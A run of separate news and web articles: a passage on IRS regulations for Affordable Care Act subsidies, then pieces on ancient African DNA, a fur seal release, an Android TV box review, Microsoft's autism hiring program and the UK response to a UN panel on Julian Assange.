states wouldn’t establish their own exchanges,” said Clarissa Potter, a deputy tax director at American International Group who was the IRS’s deputy chief counsel until May 2011.  When she learned that opponents of Obamacare were targeting the federal subsidies, Potter recalled, “I remember thinking: ‘Jeez, really? Is this the best you can do?’ ”  Among the officials drafting the regulations, the unanimous view was that the opponents didn’t have a case, according to Gamage, Potter and two others who were involved.  Gamage circulated a memo concluding that while the law contained some “awkwardly written” phrases, the best reading of the statutory language was that all Americans who are eligible receive the subsidies. He said the language deems federal marketplaces as a subset of the exchanges established by a state.  The team published a proposed rule in the Federal Register in August 2011, scheduled a public hearing for November and put the issue on the back burner, focusing on other tax issues in the law.  A day before the public hearing, an op-ed piece titled “Another ObamaCare Glitch” by Case Western Reserve University law professor Jonathan Adler and Michael F. Cannon, a health policy expert at the libertarian Cato Institute, appeared in the Wall Street Journal. They wrote that the IRS had no legal authority to give tax subsidies to people enrolling in a federal exchange. This argument became the foundation for the legal challenge to the law that is now coming before the Supreme Court.  Liz Fowler, a White House architect of the health-care law, read the opinion piece and forwarded it to nine lawyers at Treasury and the IRS. “You probably saw the WSJ article, but note that the hill is asking about a response,” she wrote. “Do you know if we are working on a response? Also might be aware that it could come up at tomorrow’s hearing — though I suppose you have thought about that possibility already.”  Jason Levitis, a Treasury lawyer, replied that the proposed regulations had “worked this issue.”  “If it comes up in the reg hearing tomorrow,” he wrote, “we will thank people for their comments and say we are taking them all into consideration.”  The Treasury and IRS team writing the regulations recognized that the environment was becoming highly charged.  “There was a sense that certain groups were going to sue,” Gamage said. “As increased pressure came from outside,” he said, the exchanges “moved up the issues list.”  House Republicans were writing to the administration opposing the proposed rules and pressing Treasury to document how it wrote the regulations. Investigators with the House Oversight and Ways and Means committees were increasingly frustrated that some of their requests were turned down and others met with redacted documents.  Treasury lawyers said they scoured the law’s legislative history, poring over committee reports and statements from lawmakers on the House and Senate floor that the tax credit applied to all Americans. “We dug into it,” said a former attorney on the Treasury-IRS team who requested anonymity because of the sensitivity of the case. “Certainly, it caused us to go back and look at our legal analysis.”  Discussions intensified inside Treasury and the IRS over how to show that the government had considered the opponents’ views but not draw media attention to the debate over subsidies, former officials recalled.  “The overriding concern was not generating negative news stories,” one former official said. Tax attorneys decided to be concise in drafting the regulation and issue a rule that was “not so minor that nothing is said, but minor enough that little is said,” the official recalled.  The final regulation contained language saying that Treasury would not adopt suggestions from some commenters that the subsidies should be restricted to state exchanges.  House Republicans were sharply critical, accusing the White House of urging the rule’s authors to ignore the text of the law. In a joint report, the House Oversight and Ways and Means committees charged the administration with failing to conduct a thorough review before writing the regulations.  At a House hearing in 2013, Douglas Shulman, the IRS commissioner at the time, acknowledged that the law contained “some contradictory language” on exchanges. But he said the government “exercised the rule-writing authority that is delegated to the Secretary of the Treasury in every tax bill.”  Alice Crites contributed to this report.
-In Africa, the birthplace of humanity, ancient humans moved and mixed throughout the continent. But until now, it’s been a challenge to trace those patterns using genetics. Now scientists have analyzed the oldest known human DNA in Africa to shed light on how people migrated—opening up a new field for examining patterns of migration and interbreeding in the region.  Related Content Ancient DNA Could Unravel the Mystery of Prehistoric European Migration  Africa may be the continent where humans first arose, but compared to Europe, relatively little ancient DNA has been sequenced from there. This hasn't been for lack of trying, says Jessica Thompson, an archaeologist at Emory University who focuses on ancient Africa, but rather due to the differences in environment between the continents.  DNA can be a resilient molecule, surviving hundreds of thousands of years under the right conditions. But it can also be very fragile, subject to degrading in the presence of heat or moisture. Both of these are found in abundance in much of Africa, making it far more difficult to extract usable DNA to sequence.  In contrast, scientists have sequenced DNA from Neanderthals in Europe that date back to more than 400,000 years, thanks to a climate that is generally cooler, drier and therefore better suited for preserving DNA.  "For an Africanist, it's frustrating, because we don't have access to the same kinds of data that people who are studying the prehistory of say ancient Europe has," Thompson says, "and I'll admit I've been kind of jealous about that."  At an anthropology conference in 2015, Thompson was confronted again with this paucity of ancient DNA data from Africa. It dawned on her that there might be some places on the continent with conditions that would preserve DNA better—if researchers just knew where to look. "I was silly to think about Africa as this homogenous wet, hot place," she says now.  In Thompson's field work in the southeastern country of Malawi, she recalled visiting sites that were at relatively high elevations that were noticeably cold, where skeletons had been found in the mid-20th century. Thompson’s efforts to track down these skeletons put her in touch with an already nascent effort by anthropologists and other researchers to fill the void of ancient African DNA by harnessing scientific advances.  "We really have all just been kind of waiting and hoping that the day would come when we could access to technology that would enable us to get that same quality of data from Africa as we have in other parts of the world," Thompson says. That day may have finally arrived.  Thompson found two ancient human samples in another lab, but analyzing them produced inconsistent results. So she decided to return to the Malawi sites where they were dug up to look for more clues. She ended up uncovering three more sets of human remains, which contained DNA dating back as far as 8,000 years ago; she collected other samples from scientific archives in Malawi.  Other researchers also sqeuenced eight more ancient samples from southern, which Thompson’s group included in a study published today in the journal Cell. Time had degraded the samples, says Pontus Skoglund, a geneticist at Harvard Medical School who led the study. However, with persistence and advancing genetic technology, researchers were able to obtain at least 30,000 DNA base pairs from each sample—“more than enough to do powerful statistical analyses,” Skoglund says.  The team compared these ancient sequences to hundreds of modern day genomes from Africa and around the world to place the ancestries of modern humans, and see who had moved around and who hadn’t. "What is most immediately obvious is this landscape of hunter-gatherer populations has now been changed quite radically," Skoglund says.  Before the widespread use of agriculture and livestock, humans survived through hunting and gathering. The adoption of agriculture by some groups of people is known to have driven great migrations among humans throughout ancient history, Thompson says, but this study made clear the scale of how much this disrupted the distribution of humans in southern Africa.  Modern-day people native to Malawi appear to be completely unrelated to the ancient humans who lived in their country a few thousand years ago—reflecting a much more dramatic migration than Thompson and others would have expected. Other samples confirmed how much movement within Africa has occurred in the last few thousand years, and included a Tanzanian herder who was found to have descendants spread from north to south on the continent.  These movements mean that the lineage of modern humans in Africa appears to have mixed much more than previously thought, according to Thompson. "It appears to be one of the most complete population replacements ever documented," she says.  "Human genetic history was complex, and ancient DNA studies from Africa are needed to understand the history there, and are eagerly awaited," said Chris Tyler-Smith, a geneticist at the Wellcome Trust Sanger Institute, via email. "This is the first substantial study of ancient African DNA."  Tyler-Smith, who wasn't involved in the research, said some of the conclusions were expected, such as the fact that populations of hunter-gatherers were replaced by agricultural populations. But other insights, such as how branched the tree of ancestry for modern-day west Africans is, surprised him.  The completion of this sequencing, he says, opens the door to more and better sequencing down the road, and raises more questions about our ancestors.  Eran Elhaik, a geneticist at the University of Sheffield, agrees. "This study opens a window to the past of one of the world's most genetically diverse regions that thus far has remained largely unexplored," he wrote by email. Many assumptions and reconstructions about how ancient humans settled down in Africa may have to be discarded now, he says.  For Thompson and Skoglund, this paper overall highlights how many questions ancient human DNA could unlock in Africa. "I think it's important to bring this tool of ancient DNA that has been very useful for understanding the history of Europe to understand all parts of the world, especially African prehistory," Skoglund says.  Thompson, who is planning to find and sequence more ancient DNA to paint an even clearer picture of where and how people lived in Africa long ago, says she expects much more research coming out of this tool in the near future. "I think it's going to be a doorway that's wide open now," Thompson says.
-This is heartwarming.  This Northern Fur Seal was released back into the wild after being rehabilitated at the Island Wildlife Natural Care Centre in British Columbia (located on Salt Spring Island). The seal, which was rehabilitated after washing ashore, was rehydrated and released on a beach near Tofino on the west coast of Vancouver Island.  The young seal looks almost surprised to be let go. At first he seems to be afraid to leave, but takes off full speed for the ocean as soon as he's confident.  Island Wildlife rescues seals all the time, in various conditions. While some seals require more serious attention, other less critical creatures get rehydrated and quickly released. You can see more images and videos, and learn more about the program, at sealrescue.org.
-It seems we’re hearing a lot about 8-Core streaming devices lately. Idroidnation was nice enough to send us a sample of their brand new Android TV box for review: The Idroidnation I-Box.  The last time we reviewed an Octa-Core streaming device was the Tronsmart Draco. It started off well, but quickly fizzled out because Tronsmart was non-existent with their support of the box. Any time that a new design comes out, you’re buying into the hope that the device will perform better and better as it ages. I’m talking about everything, not just Android boxes.  Will the Idroidnation I-Box age better than the Draco? How does it perform now?  Let’s find out.  Idroidnation I-Box: Specs  The Idroidnation I-Box is built off the Cortex A53 which is an 8-core, 64-bit version of the Cortex A7. This essentially allows the A53 to be smaller than it’s predecessor and give higher performance using less power. Like the Draco, this device also uses ARM’s big.LITTLE technology which enables the CPU to turn on cores when it needs more processing power and turn them off at idle times.  There is also 2GB of RAM and 8GB of storage. The storage is split over two partitions, which I found to be disappointing. Manufacturers started doing this as a cost benefit, but with memory prices so low, I’m not sure why they still feel the need to split storage like this.  It’s also worth pointing out that this is one of the few TV boxes running Android 5.1.1 Lollipop. We’ll see this more in the future, but it’s great to see Lollipop finally making it’s way on to streaming devices.  Here are the official specs from Idroidnation’s website:  Operating System Android 5.1 CPU RK3368 – 64-bit Octa-Core Cortex A53 GPU Power VR6110 Supported Formats OpenGL ES3.1, OpenCL 1.2 and DirectX 9.3 4K*2K H.264/H.265 real-time Video playback HDMI2.0,4K*2K@60fps display RAM DDR3 2GB Storage Onboard eMMC Flash 8GB Connectivity Bluetooth BT 4.0, Ethernet 100 Mb LAN Wi-Fi Wireless 802.11a/b/g/n Expandable Memory Micro SD Card (Maximum support 64GB) Antenna Built-in antenna for Wi-Fi UHD 4K×2K Yes Full HD 1080P Yes HEVC H.265/H.264 Yes Video/Picture Decoding Supports *.mkv,*.wmv,*.mpg, *.mpeg, *.dat, *.avi, *.mov, *.iso, *.mp4, *.rm and *.jpg file formats Audio format Support MP3, AAC, WMA, RM, FLAC, OGG Ports USB 2.0 x 3, Micro USB with OTG x 1, HDMI 2.0 x 1, SPDIF x 1, Micro SD card slot Adapter 5V 2A Features Miracast/DLNA Support  What’s in the box  Android TV box manufacturers have gotten a lot better with their packaging since they first popped on the scene a few years ago. The first devices were simply thrown into a box and included a simple one-sheet of instructions which, if you were lucky, were written in English.  By contrast, the Idroidnation I-Box is packaged well. The box is mono-chromatic on plain brown cardboard, and gives it a kind-of “eco-friendly” vibe. Still, it looks like something you’d pick up at any big-box retailer like Best Buy or Target. Once you open the box, the I-Box is there, along with a brief description of the package contents.  Underneath, you’ll find an AC power adapter, USB to micro-USB OTG adapter and an HDMI cable so you don’t have to buy your own.  There’s also a one-sheet setup guide that looks like something that could be produced by Hewlett-Packard. That’s a good thing, by the way. I’ve often said that they have some of the best set-up material in the tech industry for new users. The iDroidnation’s setup page explains not only how to plug in the box, but also how to perform basic Android functions like opening and closing apps. On the back, there’s a walkthrough on how to change language settings and connect to the Internet.  Benchmarks  Since the Tronsmart Draco was the only other Octa-Core device I’ve tested so far, my initial though was to use it as a baseline for the Idroidnation I-Box performance. The Draco scored a pretty respectable 34672 in AnTuTu X. If you remember, there was some controversy with the Draco’s AnTuTu 6 score, so I’m going to be erring on the side of caution here.  The Idroidnation I-Box scored better on the AnTuTu benchmarks than the Draco, getting a verified score of 36022 on its first run. I ran this test several more times and achieved an average of 35496 over ten attempts. This puts it in line with what CNXSoft found with the RK3368 devices they tested. Overall, pretty solid performance, and a slightly higher score than the MINIX NEO X8-H Plus which scored a 32275.  The AnTuTu Video Tester didn’t fare as well, unfortunately. Although the 4K portion of the test worked flawlessly, there were some issues with older formats which you can see in the pictures below. Overall, I’m not too concerned with this as long as Idroidnation updates the firmware down the road. If not, this could be an issue.  I also ran 3DMark’s Ice Storm and PC Mark Android benchmarks for the I-Box. The results weren’t what I expected, but not in a bad way.  The scores for Ice Storm were a pretty respectable 5148. This was less than the NEO X8-H Plus’ score of 5657. Even though the framerates were almost identical, the MINIX box did score higher in the overall graphics tests.  The interesting test was in the PC Mark Android benchmark. Here the Idroidnation I-Box really dominated. It handily beat the MINIX in overall score, 4225 to 3004. Even better, it almost doubled the MINIX’s score in video playback: 4915 to 2456.  Clearly there’s some power underneath the hood in this set top box.  Kodi  Almost everyone who buys a streaming device that’s not made by Roku, Amazon or Google does it to run Kodi.  Idroidnation included Kodi 15 with this TV box and it works great. There was a custom skin already installed, but that can be easily changed.  I’m disappointed that they chose to include a lot of add-ons that aren’t officially endorsed by Team Kodi. Generally when manufacturers do this they are doing it to promote illegal content. This didn’t appear to be the case with Idroidnation, however, which is good.  Including Kodi 15 rather than version 14, or even one of the old XBMC versions is another good sign. I’m always worried when a brand new device comes out with old software. Thankfully, that’s not the case here.  The Verdict  The Idroidnation I-Box surprised me a little bit, which is getting pretty tough to do. It gives good performance that was rock-solid as far as stability during my stress tests. It may not blow away the competition yet, but you need to remember that this is a brand new box with lots of room to grow. Video playback was good, and didn’t show any signs of stuttering at all.  One disappointment was the lack of a custom launcher with this box. One of the great things about Android TV boxes is that we can customize them however we want. That doesn’t mean that it’s easy for newbies, or even casual users to navigate. Especially if you don’t have some sort of air mouse or upgraded controller. There were a couple of minor issues with video formats not being supported, but I expect that those will be fixed in the first firmware upgrade.  All in all, I’m pretty impressed with the Idroidnation I-Box. But what do you think?  Leave us a comment below, and don’t forget about our contest to win our review sample!!!  a Rafflecopter giveaway
-written by Jennifer Warnick Unique Microsoft hiring program opens more doors to people with autism Kyle Schwaneke’s bank account was approaching empty. He’d been unemployed for a year and a half, since the indie game studio he’d been working for shut its doors. His parents, looking for ways to help while he job hunted, had paid the remainder of his apartment lease, but he’d reached the end of that, too. “I interviewed at a bunch of companies, but really didn’t have any luck. Sometimes, I would send in my resume and hear nothing. Other times, I’d go to an interview, and I’d think I did well, and then hear back I hadn’t done well – but they also couldn’t give me any feedback about it,” Schwaneke said. “I eventually started applying at places like Target and Radio Shack for the chance to interview for a minimum wage retail job. I was pretty much out of options.” A promising young developer, Schwaneke graduated from a world-renowned university for computer interactive technologies. He also has Asperger's syndrome, a disorder on the autism spectrum. His situation is far from an anomaly. An estimated 80 percent of people with an Autism Spectrum Disorder (ASD) are unemployed, though many are fully capable of holding down a job, and some possess exceptional skills in areas such as science, mathematics or technology. The 80 percent unemployment rate becomes even more significant considering an estimated one percent of the world’s population has an Autism Spectrum Disorder. On April 1, about the same time Schwaneke was wondering whether he’d soon need to move back in with his parents, Microsoft’s Mary Ellen Smith stepped before the representatives of 193 countries at United Nations (U.N.) Headquarters in New York City. It was World Autism Day and Smith, corporate vice president of worldwide operations, announced that Microsoft was about to launch a pilot program to hire people with autism. In the months since the program began, Microsoft has hired 11 new employees who have autism and is actively seeking candidates for an ever-expanding list of opportunities, including roles in software engineering, data science, customer service and operations, and for teams like Windows, Xbox and HoloLens. The company plans to continue its growth of the program as well as its support for the autism community, Smith said. Xbox Software Engineer Kyle Schwaneke’s work at Microsoft has included bringing digital personal assistant Cortana to the gaming console. Xbox Software Engineer Kyle Schwaneke’s work at Microsoft has included bringing digital personal assistant Cortana to the gaming console. “These are people who may not be able to pass an initial interview or screen because their social skills might not be 100 percent in line with what’s expected in a typical interview, but what amazing talent are we missing as a result?” Smith said, after recounting her memorable day at the U.N. “There are unique minds being underused and overlooked.” Announcing the launch of Microsoft’s new pilot program to the United Nations was especially meaningful for Smith, whose 19-year-old son Shawn has autism. She recalled a heart-wrenching moment from when he was diagnosed 15 years ago. “I think they understand,” she overheard one doctor say to another on her way out of the medical center. It was the same two doctors who had just told Smith and her husband they needed to seriously limit their expectations for their toddler and what he could achieve, because he had autism. The young family drove the 15 miles home in complete silence. “We didn’t know what to say,” said Smith. “But we do now.” Like many parents who have children with autism, Smith has become a tireless advocate. Smith’s son Shawn, the 4-year-old boy who doctors warned would struggle with basic skills his entire life, is now a 19-year-old college student. He wants to be a marine biologist. “It took us time to learn how to bring out the best of what he has to offer. That’s the reason I’m so passionate about this,” Smith said. “My son has blown past all of whatever their definitions were of his capabilities, and so do a lot of kids. I think the more support someone is given, and the more we listen to what’s required to help them be successful, the more they’re going to blossom, grow and contribute. I’ve seen it time and time again.” Smith and the rest of the Microsoft team returned from the U.N. announcement to a surprising response. “We were inundated,” said Jenny Lay-Flurrie, chief accessibility officer at Microsoft and head of the company’s disAbility employee group. “We got more than a thousand emails and more than 700 resumes. We were getting flooded with phone calls and requests on LinkedIn, and being invited to speak in schools and given awards,” Lay-Flurrie said. “We were being thanked for thinking of doing something in the space. That was our bigger epiphany, it really was. While that’s beautiful, what it said to us is that there’s a bigger need here than we even realized.” Though Microsoft has been committed to enabling people with disabilities for a long time, news of the pilot program to hire people with autism generated tremendous internal support, Lay-Flurrie said. She heard from employees, managers, people with autism already working at Microsoft and parents who have children with autism, including Eric Brechner and Dean Betz, leaders in the Microsoft autism community, who jumped in to help advise and network as the pilot program was being designed. Lay-Flurrie said the consensus from everyone who reached out was, “It’s about time. What can we do to help?” “By adjusting our hiring practices, we are able to recruit from a new talent pool – a talent pool that is rich with mad skills,” Lay-Flurrie said. “We’re hiring these folks because they’re amazingly talented individuals who are going to help us do amazing things at Microsoft.” In that pile of resumes from people with “mad skills” was one from Schwaneke, who heard about the Microsoft pilot program from his mom. “Nothing else has worked, so why don’t we give this a shot,” he remembers thinking.  By adjusting our hiring practices, we are able to recruit from a new talent pool – a talent pool that is rich with mad skills. We’re hiring these folks because they’re amazingly talented individuals who are going to help us do amazing things at Microsoft.  Schwaneke was one of 10 people invited to participate in Microsoft’s first-ever interview process especially for candidates with autism. The jobs selected for potential hires with autism are full-time and offer a competitive salary, just like any other entry-level job listed on the Microsoft Careers website, but the interview process is unique. It’s not a do-or-die phone screen or a several-hour, in-person interview, but rather an academy of sorts – a combination workshop and interview to help put job candidates at ease (and therefore let them more fully demonstrate their skills). During the four-week interview process (which would eventually be shortened to two weeks for the second round of new hires), organizers said Schwaneke quickly emerged as a leader, someone with a strong skillset who remained cool and calm under pressure. Still, the interview process was difficult for him at times, especially the parts that involved working in groups. Schwaneke said he was sustained and encouraged by all the direct and positive feedback he received. Two weeks into the interview process, Schwaneke was thrilled to hear his work was being closely followed by at least a couple of hiring managers, including Zach Johnson, principal software engineering lead for Xbox. “Kyle’s approach to programming was creative, and he was pushing limits,” Johnson said. “It was very clear he was both well-educated and able to apply what he’d learned in school to try new things. He moved to the top of my list early on, and as the interview continued, I kept a close eye on him.” Philip Jarvis presents his work to hiring managers during the extended interview process. Jarvis was hired as a software developer for the team working on HoloLens and other projects. In June, after working with Schwaneke for four weeks in the interview “academy,” Johnson offered him a job as a software engineer. The day he found out he’d been offered a job, his parents were coming over to his apartment to celebrate his dad’s birthday. “During dinner I was able to drop the bomb on them,” he said. “We were all really excited. For me it was stability, and for them it was stability and also relief. We had been gearing up for the worst, financially.”  Schwaneke now works as a software engineer on a small team bringing Cortana, Microsoft’s voice-activated digital personal assistant, to Xbox. “The team I’m on is incredibly supportive, and even though we have deadlines and things change, it’s a very relaxed work environment,” Schwaneke said. “I haven’t felt the extreme stress I felt at college or in other jobs.” The bespectacled, bearded Schwaneke is soft-spoken and lean, his shaggy hair usually topped with a ball cap from DigiPen, the university where he earned his bachelor’s degree in computer programming. He dresses in the comfy-casual style made ubiquitous by decades of developers before him – New Balance sneakers, a black hoodie embroidered with his gamer tag, and a T-shirt emblazoned with some sort of a stylized lobster, which he explains is actually a replica of a shirt worn by the hero Link in the game “The Legend of Zelda: The Wind Waker.” Schwaneke said his parents knew from the beginning their son was different, but were incredibly supportive at every step along the way. “It took me a while to start speaking. Then, when I did, I was speaking in full sentences saying very eloquent things,” he said. “My brain is just wired up very differently. I can remember instantly the lyrics to a song I like, but sometimes can’t remember something I did yesterday.” He was the kind of kid who brought cupcakes to kindergarten, but made each and every kid say thank you as he passed them out. “I was always the little police officer,” he said. “At first we thought I had obsessive-compulsive disorder, because I always had to carry around an even number of matchbox cars.” A shelf full of wooden puzzles sits outside Zach Johnson’s office door. A shelf full of wooden puzzles sits outside Zach Johnson’s office door.  Eventually a psychologist proposed Schwaneke might have Asperger’s syndrome, and at that moment everything – his quirks, his fixations, his difficulties – started to make sense. Having a diagnosis made high school both harder and easier, he said. It was a tool in that it allowed him to work with a disabled-student coordinator to hand-pick his classes, but he continued to be ostracized by his fellow students for small tics – things he didn’t even know he was doing. “Even though the other students were a problem in high school – my peers were still teasing me for being different – I at least had the support of my parents and some very good and understanding teachers,” Schwaneke said. “I’m afraid to think of what would have happened if I hadn’t had that. I might have decided I didn’t like learning or didn’t like reading, and that would have been horrible.” High school is also where Schwaneke “instantly fell in love” with programming after taking his first computer science class. “That’s pretty much the point when I decided programming is where I needed to end up,” Schwaneke said. When he started his program at DigiPen, he finally felt surrounded by people with similar interests and outlooks. “For the first time, I felt like I was in place where I understood other people, and they understood me,” Schwaneke said. That feeling also applies to his new job at Microsoft.  For the first time, I felt like I was in place where I understood other people, and they understood me.  He now sits in a large, bright open space. A shelf at his side holds some of his favorite anime figurines, and on the corner of his desk there’s a garden of brightly colored sticky note origami shapes – technically, they are polyhedrons – adjacent to a handwritten note: “Want one? I can make you one or teach you how! Just ask!” “Because of this job, I went from essentially having to move back in with my parents to looking into the future and thinking, ‘OK, in a year or two years maybe I can put a down payment on a house.’ That’s a radical shift. My brain is still trying to catch up to that,” Schwaneke said, looking around his new digs in Microsoft’s Studio X. Johnson, an amiable Seth Rogen lookalike with a shelf full of wooden puzzles outside his office door, laughed. “I bet.” “The funny thing is,” Schwaneke continued, “the interview I had with Zach was probably the most successful interview I had in the year and a half I was looking.” Johnson considered this. “It was probably a balance of your comfort and my comfort.” He continues. “There were some really talented individuals in the program including Kyle, who has continued to demonstrate that in his work. It pains me to think of individuals who have those kind of coding skills but who aren’t using those skills because they don’t fit a standard interview process or because maybe a phone call was awkward. Kyle was sitting idle for more than a year, but instead could have been here helping us bring Cortana to every Xbox user in the world.” On a crisp, autumn Friday morning at Microsoft’s Redmond, Washington, headquarters – the kind where only street lamps and fiery leaves are visible through the fog – 12 eager, young computer scientists had already reduced the contents of a large, pink box of donuts to crumbs.  It was the last morning of the fall interview process for candidates with autism, but to the unaware, it looked like any other gathering of employees on campus – the open laptops, the caffeinated drinks, the hoodies and Star Wars T-shirts, the banter about news headlines and pop culture. A man with a ponytail sat off to the side, wearing headphones and working, while another walked the perimeter of the room as he talked, which he later explained is how he concentrates best – while pacing. After building apps, or working in groups to make robots out of Legos, or presenting project work to hiring managers from around the company, the two-week interview process was about to culminate in a question-and-answer session with a panel of pioneers – the first five employees hired through Microsoft’s autism pilot program three months earlier. Kyle Schwaneke often busies his hands by folding brightly colored sticky notes into intricate origami shapes. Though it had only been about 90 days since Schwaneke and his fellow new hires were on the other side of the proverbial table, they were already paying it forward, sharing their experiences and advice with the group. The newly minted mentors projected confidence and ease as they described their day-to-day duties and teams; answered questions on topics ranging from company benefits to the Microsoft code library; and doled out encouragement. “A lot of you are going to be nervous about your first week and month,” Schwaneke said. “I’m not shy to ask questions of my teammates, and that’s what you want to do. You want to ask questions, you want people to ask questions of you, you want to get more involved. It’s a very supportive place here.” Along with encouragement, he offered some very practical advice aimed at the out-of-town job candidates. “Expect to lose power at least once each fall if you live near trees. There’s a lot of wind. We also get a lot of sun every summer,” Schwaneke said. He continued with a wry smile, “But don’t tell anyone – that’s a secret. It rains here all the time. It only rains. That’s all that happens.” This got chuckles from the room. A few chairs down was Katie Hart, hired at the same time as Schwaneke, who told the job candidates she’d been out of work for 10 months before getting the opportunity to interview at Microsoft. She said she appreciated the way the extended interview helped her prove herself, and loves her new role in Customer Service and Support. During her first month on the job, Hart worked with a cross-company team during Microsoft’s annual week-long summer hackathon to create Neuroversity, a game to help people with autism develop career skills. Cody Takayoshi, another hire from the first round of the pilot program, extolled the friendliness of his new team of fellow Xbox Live network testers. “There are lots of Nerf wars, so prepare yourself,” he deadpanned. Takayoshi also mentioned the importance of being patient during the first weeks at Microsoft. “For the first while, not having much work due was giving me a lot of panic. I was sitting around reading and studying all day thinking, ‘When are they going to realize this and fire me?’ As far as any struggles, there’s a lot of support. Almost too much support at times,” he said looking right at his employment coach Blake Konrady with a mischievous grin. Konrady, standing at the back of the room, smiled and shook his head as Schwaneke quickly clarified for those in the room who may not have picked up on Takayoshi’s Sahara-dry sarcasm: “If there are problems, just basically know there is a network there. You’re not going into this blind. If you need it, it’s there. If you don’t need it, it’s not intrusive.” Takayoshi, 22, explained later that he developed his sense of humor as a way of coping with the more awkward parts of himself. “Humor has always been there for me, especially as soon as I started learning more than ‘Guess what? Chicken butt’ jokes,” he said. “It lessens the tension in the room if everyone’s having a laugh. It breaks the ice. Sprinkle anything with jokes and you’ve got some stew going on.” He listens to a podcast by Ricky Gervais on his drive to and from Microsoft, and it’s not hard to imagine Takayoshi’s self-effacing, off-beat banter must be a bit like talking to the irreverent British comedian. He had recently taken some time off of college programming classes when his father told him about Microsoft’s pilot program. He thought, “What’s the worst they could do, hire me?” “I realized I needed get out of my comfort zone, because nothing life-changing ever happens in your parents’ basement,” Takayoshi said. Takayoshi said he was worried the extended interview would feel like “autism boot camp” but was pleasantly surprised, both by the interview process, and when he was offered a great job on a team he quickly came to love. They even eat and play foosball together at lunchtime. “It only took a couple of days to integrate. It was a pretty good fit,” he said. Teasing aside, Takayoshi and some of the other new employees say they appreciate the deep level of support and patience offered throughout the process, whether from their new teams and managers or from Konrady, who helps the new hires with autism inside and outside of work. “I’m somewhat of a life coach,” Konrady said, and it’s true. He works with Microsoft partner PROVAIL, and his role includes helping support candidates and new hires through all kinds of situations. Apart from logistics, he also provides moral support and advice on everything from work-life balance to ergonomics to professional appearance in the corporate environment. After working with Schwaneke and the other new employees in the pilot program’s first two rounds of hiring, Konrady said he has a newfound respect for companies that take the time to really get to know job candidates before making a decision. “We have individuals with talent who have been hidden, who have not been able to find their voices or show what they can do. These individuals are breaking down the stereotypes of what it means to be autistic,” Konrady said. “This is showing that one of the most influential companies in the world is taking this seriously – is saying that this is something our society should be aware of.” Microsoft has more job openings, and is actively recruiting candidates with autism to join the 11 new employees hired during the pilot program’s first eight months.  “We started small by design so we can learn and make adjustments as we go,” Smith said. “We want to be deliberate in everything we do – to make sure it’s a great experience for the job candidates, the new employees, and the teams and managers at Microsoft. We also want to continue to expand our partnerships inside and outside of Microsoft, all while remaining focused on the business benefit as well.” The business benefits she has in mind? Diversifying the company’s workforce, which will in turn help the company gain a wider reach. “Our effort goes beyond autism,” Smith said. “We are passionate about hiring individuals of all disabilities and we believe with them, we can create, support and build great products and services. Our customers are diverse and we need to be as well.” Smith and Lay-Flurrie said it’s taken a village to help create and run the new pilot program. In addition to invaluable internal support, Microsoft turned to two external partners, PROVAIL and Specialisterne, both of which are well-versed in helping companies hire, train and support employees with neurodiversity (a term many now use to describe people who differ from the cognitive norm, including those with autism). Specialisterne helped connect Lay-Flurrie with other companies with autism employment programs for advice, businesses such as HP, Capitol One and SAP. Though Microsoft and SAP are technically competitors, Jose Velasco, the head of SAP’s Autism at Work program, was glad to assist. “Like all big companies, SAP and Microsoft compete in some areas and we partner in so many others,” Velasco said. “It’s a great opportunity for us to cooperate.” Few people understand the advantages of hiring people who think differently better than Thorkil Sonne. In late 2003, Sonne founded Specialisterne (Danish for “the specialists”) after being blown away by the unexpected intellectual abilities of his son Lars, who has autism. Sonne had the notion that with a little extra support and guidance, many people with autism – people like his son – could not only hold down a full-time job, but use their particular talents as a competitive advantage. Microsoft leveraged Sonne’s experience working with other companies to help craft its own pilot program for hiring people with autism. Sonne said it’s remarkable to see a major global technology company so dedicated to pursuing neurodiversity; he hopes other major technology companies will follow suit.  “We started small by design so we can learn and make adjustments as we go. We want to be deliberate in everything we do – to make sure it’s a great experience for the job candidates, the new employees, and the teams and managers at Microsoft.”  “I think we’re really moving the needle,” Sonne said. “We’re spreading the message that different can be good – different is important. You really have to look at the growing population of people who have a disability or disorder as your potential next resource for different, innovative ideas that can help you become more innovative. I think at Microsoft, they really get that. They’re used to people who are innovative and high performing, but who are not mainstream.”  “There are unique minds being underused and overlooked,” said Mary Ellen Smith, corporate vice president for worldwide operations at Microsoft, who has an adult son with autism. Along with widening the corporate front door for potential talent, the pilot program offers new hires a more immersive onboarding process, making sure they feel supported in their new endeavor by offering a wide circle of services and support. One such service is a training session to help the teams and managers of the incoming new hires to better understand autism. For Schwaneke and his new manager Johnson, this “rolled into one of the few awkward points we’ve had,” Johnson said. “We had to decide whether or not we introduce Kyle to the team by saying he came through the autism pilot program,” Johnson said. “My biggest concern is that it was going to set everyone up with specific ideas and expectations. Kyle said he doesn’t mind people knowing, but he doesn’t want it to change the dynamic.”
-THE British government has issued a vehement rebuttal of a UN panel’s findings that WikiLeaks founder Julian Assange had been arbitrarily detained.  Published last month, the United Nations working group’s non-binding legal opinion was instantly dismissed as “ridiculous” by London, which has now submitted its formal response, inviting the panel to reconsider its conclusions.  Mr Assange faces a rape allegation in Sweden but has been inside Ecuador’s embassy in London for nearly four years in a bid to avoid extradition.  The 44-year-old Australian fears that from Sweden he could be deported to the United States over WikiLeaks’ release of 500,000 secret military files.  The UN panel said the detention Mr Assange was living under had violated his human, civil and political rights.  “The working group’s opinion is deeply flawed and Mr Assange has never been the subject of arbitrary detention,” the Foreign Office said.  “His human rights have been protected throughout.” Anti-secrecy campaigner Mr Assange initially spent 10 days in a London prison having been refused bail, but his detention was “absolutely in line with the relevant legislation and regulations”, the statement said.  The former computer hacker’s series of failed court appeals against extradition to Sweden took 18 months and “cannot be considered excessive or unfair”, the rebuttal said.  “During this period he was granted bail and so cannot be considered to have been detained.” The UN panel said Mr Assange should be able to claim compensation from Britain and Sweden.  Mr Assange hailed the findings as a “victory”, but has continued to remain in the Ecuadorean embassy.  The working group will consider Britain’s response on April 18 in Geneva. Foreign Office minister Hugo Swire said: “The original conclusions of the UN working group are inaccurate and should be reviewed.  “We want to ensure the working group is in possession of the full facts. Our request for a review of the opinion sets those facts out clearly.  “Julian Assange has never been arbitrarily detained by the UK, and is in fact voluntarily avoiding lawful arrest by choosing to remain in the Ecuadorean embassy.  “The UK continues to have a legal obligation to extradite him to Sweden.” A hero to supporters and a dangerous egocentric to detractors, Mr Assange founded WikiLeaks in 2006 and has been portrayed in two movies in recent years.
